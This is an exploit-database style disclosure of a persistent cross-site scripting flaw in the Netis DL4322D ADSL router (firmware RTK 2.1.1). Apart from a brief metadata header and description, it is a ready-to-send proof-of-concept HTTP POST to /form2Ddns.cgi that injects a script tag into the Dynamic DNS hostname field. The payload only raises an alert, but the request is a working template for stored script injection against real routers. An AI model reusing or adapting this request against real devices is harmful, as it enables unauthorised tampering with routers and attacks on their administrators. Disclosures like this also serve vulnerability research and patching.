# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Scripting # Author: Cakes # Discovery Date: 2018-09-16 # Vendor Homepage: http://www.netis-systems.com # Software Link: http://www.netis-systems.com/Home/detail/id/74.html # Tested Version: RTK 2.1.1 # Tested on OS: Kali Linux # CVE: N/A # Description: # Improper input validation on the router web interface allows attackers add a persistent # Cross-Site scripting attack on the Dynamic DNS hostname field. Simply intercept a renaming # request and add in the XSS # Poc POST /form2Ddns.cgi HTTP/1.1 Host: Target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://Target/ddns.htm?v=1537192256000 Cookie: SessionID= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 119 ddnsProv=0&hostname=<script>alert("Cakes");</script>&interface=15&enable=on&username=tester&password=tester&addacc=Add&submit.htm%3Fddns.htm=Send